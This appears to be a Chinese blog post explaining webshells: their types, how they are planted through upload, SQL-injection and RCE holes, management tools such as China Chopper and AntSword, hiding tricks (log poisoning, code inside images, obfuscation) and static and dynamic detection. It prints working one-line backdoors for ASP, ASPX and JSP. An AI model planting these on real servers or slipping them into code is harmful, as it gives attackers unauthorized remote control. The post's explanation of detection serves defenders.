Webshell详解

介绍:

Webshell是通过服务器开放的端口获取服务器的某些权限。

webshell又称脚本木马,一般分为大马、小马、一句话木马。

大马,体积大、功能齐全、能够管理数据库、文件管理、对站点进行快速的信息收集,甚至能够提权。

小马,一般而言,我们在上传文件的时候,会被限制上传的文件大小或是拦截的情况,那么我通过小马来上传大马,实现我们想要的功能。

一句话木马,短小精悍、功能强大、隐蔽性好、使用客户端可以快速管理webshell。

原理:

利用文件上传漏洞、SQL注入漏洞、RCE漏洞等,将恶意文件放到web服务器中,也就是常说的”后门”,之后可以进行文件管理、数据库管理、远程命令执行、提权等恶意操作。

常见一句话木马:

php

asp

<%eval request ("value")%>
<% execute(request("value")) %>

aspx

<%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>

jsp

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
WebShell管理工具

Cknife 中国菜刀

antSword 中国蚁剑

冰蝎 动态二进制加密网站管理客户端

weevely3 Weaponized web shell

Altman the cross platform webshell tool in .NET

Webshell Sniper Manage your website via terminal

quasibot complex webshell manager, quasi-http botnet

webshell隐藏

隐藏到日志

例如,修改发送数据包的头部,添加webshell。 web服务器一般会保存访问记录到Web日志,若找到web日志,且放到可执行目录下,可能获得shell。

隐藏到合法文件

例如,文件上传漏洞中,将php代码放到jpg文件中,可以使用@运算符,以防发生任何错误。

混淆

删除空格、换行符等,导致代码文件比较乱,使用编码或加密来隐藏掉恶意函数名等。

静态检测

web日志

在对日志文件进行预处理后,对日志记录进行文本特征匹配、统计特征计算与文件关联性分析,最后对检测结果汇总,列出疑似的Webshell文件。

例如,网站目录下某php文件访问量过少,且来源ip固定。

动态检测

webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我们称为动态特征。

例如,webshell如果执行系统命令的话,会有进程。

后续会更新webshell的免杀内容!

你可能感兴趣的:(web漏洞,web安全)